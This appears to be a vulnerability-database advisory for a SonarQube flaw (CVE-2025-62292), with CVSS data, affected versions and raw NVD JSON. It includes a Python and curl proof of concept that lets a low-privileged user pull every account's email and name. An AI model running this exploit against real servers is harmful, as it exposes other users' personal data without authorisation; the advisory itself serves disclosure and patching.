Security Vulnerability Report
中文
CVE-2025-62292 CVSS 4.3 MEDIUM

CVE-2025-62292

Published: 2025-10-10 07:15:44
Last Modified: 2026-04-15 00:35:42

Description

In SonarQube before 25.6, 2025.3 Commercial, and 2025.1.3 LTA, authenticated low-privileged users can query the /api/v2/users-management/users endpoint and obtain user fields intended for administrators only, including the email addresses of other accounts.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SonarQube < 25.6
SonarQube 2025.3 Commercial 之前的商业版
SonarQube 2025.1.3 LTA 之前的长期支持版

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62292 PoC - SonarQube User Management API Information Disclosure # Exploits the /api/v2/users-management/users endpoint to retrieve sensitive user data # as a low-privileged authenticated user import requests # Configuration TARGET_URL = "https://sonarqube.example.com" USERNAME = "low_priv_user" PASSWORD = "user_password" # Step 1: Authenticate to obtain a session token session = requests.Session() auth_response = session.post( f"{TARGET_URL}/api/authentication/login", auth=(USERNAME, PASSWORD) ) if auth_response.status_code == 200: print("[+] Authentication successful") else: print("[-] Authentication failed") exit(1) # Step 2: Access the user management API endpoint # This endpoint should be restricted to administrators only, # but the vulnerability allows low-privileged users to access it users_response = session.get( f"{TARGET_URL}/api/v2/users-management/users", headers={"Accept": "application/json"} ) if users_response.status_code == 200: users_data = users_response.json() print(f"[+] Retrieved {len(users_data.get('users', []))} user records") # Step 3: Extract sensitive information (e.g., email addresses) for user in users_data.get('users', []): print(f" User: {user.get('login', 'N/A')}") print(f" Email: {user.get('email', 'N/A')}") print(f" Name: {user.get('name', 'N/A')}") print("---") else: print(f"[-] Failed to retrieve users: HTTP {users_response.status_code}") # Alternative: Using curl # curl -u 'username:password' \ # -H 'Accept: application/json' \ # 'https://sonarqube.example.com/api/v2/users-management/users'

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62292", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:43.937", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In SonarQube before 25.6, 2025.3 Commercial, and 2025.1.3 LTA, authenticated low-privileged users can query the /api/v2/users-management/users endpoint and obtain user fields intended for administrators only, including the email addresses of other accounts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-669"}]}], "references": [{"url": "https://sonarsource.atlassian.net/browse/SONAR-24830", "source": "[email protected]"}]}}